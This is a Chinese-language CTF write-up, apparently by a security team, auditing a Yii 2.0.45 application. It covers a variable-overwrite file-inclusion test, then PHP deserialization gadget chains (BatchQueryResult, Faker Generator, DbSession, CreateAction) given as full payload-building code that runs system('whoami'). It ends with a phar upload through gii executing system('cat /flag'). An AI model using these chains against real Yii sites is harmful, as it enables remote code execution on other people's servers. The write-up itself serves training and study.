概述
簡單說下Yii 是一個高性能PHP的web 應用程序開發框架。通過一個簡單的命令行工具 yiic 可以快速創建一個 web 應用程序的代碼框架,開發者可以在生成的代碼框架基礎上添加業務邏輯,以快速完成應用程序的開發。小夥伴ctf比賽時,遇見了這個框架,把題型發來,既然是代碼審計,這個附件應該就是源碼,把這個下載下來,看看裡面有啥吧。下面附兩張圖:
接下來就聊聊這個框架存在的漏洞有哪些,稍稍做個總結。
文件包含
當小白看到文件上傳的功能時,而且沒有限制文件類型的邏輯,便想到了這個框架可能存在文件包含的漏洞,因為上傳的路徑是/tmp的路徑,不在web目錄下。如果想利用必須要通過文件包含、或者目錄穿越的漏洞。從過源代碼的分析,文件目錄是這麼定義的。
if(Yii::$app->request->isPost){$model->file=UploadedFile::getInstance($model,'file');if($model->file&&$model->validate()){$path='/tmp/'.$model->file->baseName.'.'.$model->file->extension;$model->file->saveAs($path);return$path;}else{returnjson_encode($model->errors);}}
當baseName和extension不能通過改變請求包控制時,所以文件穿越不存在,只能文件包含了,隨百度之。在源代碼里有這麼一段代碼:
publicfunctionrenderPhpFile($_file_,$_params_=[]){$_obInitialLevel_=ob_get_level();ob_start();ob_implicit_flush(false);extract($_params_,EXTR_OVERWRITE);try{require$_file_;
extract是將數組解析成變量的一個函數,通過構建_file_的變量值,來包含tmp下的文件,這是小白當時做題時的思路。構建方式是在控制器里有一個接受外界參數的變量,如下所示data
publicfunctionactionIndex(){$data=[['a'=>'b'],'_file_'=>'/etc/passwd','name'=>'14yn3'];return$this->render('index',$data);}
訪問後的結果如下:
證明確實存在,小白按照代碼的規則進行項目的整體查閱,只找到類似這種結構的代碼段
$model->password='';return$this->render('login',['model'=>$model,]);
這種model的參數,構建不出來file變量名,而且這是一個對象的形式。後來想破壞對象的結構,構建數組,花費一個多小時無果,尋找另外個入口。至此證明yii存在變量覆蓋,文件包含的漏洞。
gii 出場【phar反序列化】
當所有代碼段都不滿足構建條件的時候,便有了這個gii哥們的想法,它是一個自動給開發者構建模塊、數據、控制器簡單邏輯的工具,或者說腳手架,驗證開啟方式:全局搜索gii.
訪問方式:r=gii,如下圖所示:
然後構建我們自己的控制器,點擊控制器生成下的start。在表單里隨便填下控制器名稱,點擊預覽,
生的的代碼如下:
看到並沒有把render的第二個參數給傳遞過去,至此文件包含的思路徹底放棄。既然都聊到這了,那就索性看這個gii有什麼漏洞,谷歌百度一下,
yii反序列化【payload是自己構建、不同於找已存在漏洞】
查一下現在系統的版本號:2.0.45 This is Yii version 2.0.45.
鏈一vendor/yiisoft/yii2/db/BatchQueryResult.phpphppublicfunction__destruct(){//makesurecursorisclosed$this->reset();}publicfunctionreset(){if($this->_dataReader!==null){$this->_dataReader->close();}$this->_dataReader=null;$this->_batch=null;$this->_value=null;$this->_key=null;$this->trigger(self::EVENT_RESET);}
所以這個$this->_dataReader是可控的,那麼close方法,這裡就有兩個思路,第一個是存在close方法,尋找利用點,第二個不存在,調用call方法的利用點,先看第二個的思路,找call方法,vendor/fakerphp/faker/src/Faker/Generator.php。
publicfunction__call($method,$attributes){return$this->format($method,$attributes);}publicfunctionformat($format,$arguments=[]){returncall_user_func_array($this->getFormatter($format),$arguments);}publicfunctiongetFormatter($format){if(isset($this->formatters[$format])){return$this->formatters[$format];}
這個類的$this->formatters也是可控的。當調用close的方法,便調用了call方法,此時close的方法名,便作為call的第一個參數被傳遞進來,也就是method是close。
此時構建payload【payload輸出有特殊字符,需要在console的控制台複製】
namespaceyii\db{classBatchQueryResult{private$_dataReader;publicfunction__construct($_dataReader){$this->_dataReader=$_dataReader;}}}namespaceFaker{classGenerator{protected$formatters=[];publicfunction__construct($formatters){$this->formatters=$formatters;}}}namespace{$a=newFaker\Generator(array('close'=>'phpinfo'));$b=newyii\db\BatchQueryResult($a);print(serialize($b));}
此時的payload在這個ctf給定的壓縮代碼里是不能執行的。因為這個版本大於2.0.37。到這裡找一下為什麼不能執行,查閱文檔得知。這兩個類都實現了wakeup的方法,
//BatchQueryResult.php【只要序列化這個類,就報錯】publicfunction__wakeup(){thrownew\BadMethodCallException('Cannotunserialize'.__CLASS__);}//Generator.php【只要序列化這個類,formatters的內容就置空】publicfunction__wakeup(){$this->formatters=[];}
當注釋掉這兩個方法的時候,就可以實現返回值了。注意目前調用的函數沒有傳遞參數,只能掉phpinfo這類的函數,輸出是字符串類型的。結果如下:
補充:正則匹配call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)。
鏈二
研究完了call的方法,現在看看close的方法。當全局搜索close方法的時候,找到vendor\yiisoft\yii2\web\DbSession.php。
publicfunctionclose(){if($this->getIsActive()){//preparewriteCallbackfieldsbeforesessioncloses$this->fields=$this->composeFields();YII_DEBUG?session_write_close():@session_write_close();}}/***@returnboolwhetherthesessionhasstarted*開啟dug,在這個版本下,此函數驗證為true,小於2.0.38不需要開啟debug*/publicfunctiongetIsActive(){returnsession_status()===PHP_SESSION_ACTIVE;}protectedfunctioncomposeFields($id=null,$data=null){$fields=$this->writeCallback?call_user_func($this->writeCallback,$this):[];if($id!==null){$fields['id']=$id;}if($data!==null){$fields['data']=$data;}return$fields;}
call_user_func方法如果$this->writeCallback為字符串,就是方法名,如果是數組,就是類名和方法。所以為了解決給方法傳遞參數的缺陷,這裡再去調用另一個類的方法,這個方法可以是可以傳遞參數進去的。使用鏈一的方法備註正則搜索。調用的文件代碼如下:
//vendor/yiisoft/yii2/rest/CreateAction.phppublicfunctionrun(){if($this->checkAccess){call_user_func($this->checkAccess,$this->id);}//$this->checkAccess和$this->id都是我們可控的
構建payload
namespaceyii\db{classBatchQueryResult{private$_dataReader;publicfunction__construct($_dataReader){$this->_dataReader=$_dataReader;}}}namespaceFaker{classGenerator{protected$formatters=[];publicfunction__construct($formatters){$this->formatters=$formatters;}}}namespaceyii\rest{classCreateAction{public$checkAccess;public$id;publicfunction__construct($checkAccess,$id){$this->checkAccess=$checkAccess;$this->id=$id;}}}namespaceyii\web{classDbSession{public$writeCallback;publicfunction__construct($writeCallback){$this->writeCallback=$writeCallback;}}}namespace{//$a=newFaker\Generator(array('close'=>'phpinfo'));//$b=newyii\db\BatchQueryResult($a);//print(serialize($b));$c=newyii\rest\CreateAction('system','whoami');$b=newyii\web\DbSession(array($c,'run'));$a=newyii\db\BatchQueryResult($b);print(serialize($a));}
跳轉gii
通過前台上傳功能,上傳

這個文件,然後返回上傳路徑:

gii控制器生成頁抓取數據包
在後面增加cmd=system('cat /flag'),因為在phar.jpg中有這個一個執行代碼
即可拿到flag。
E
N
D
關
於
我
們
Tide安全團隊正式成立於2019年1月,是新潮信息旗下以互聯網攻防技術研究為目標的安全團隊,團隊致力於分享高質量原創文章、開源安全工具、交流安全技術,研究方向覆蓋網絡攻防、系統安全、Web安全、移動終端、安全開發、物聯網/工控安全/AI安全等多個領域。
團隊作為「省級等保關鍵技術實驗室」先後與哈工大、齊魯銀行、聊城大學、交通學院等多個高校名企建立聯合技術實驗室,近三年來在網絡安全技術方面開展研發項目60餘項,獲得各類自主知識產權30餘項,省市級科技項目立項20餘項,研究成果應用於產品核心技術研究、國家重點科技項目攻關、專業安全服務等。對安全感興趣的小夥伴可以加入或關注我們。
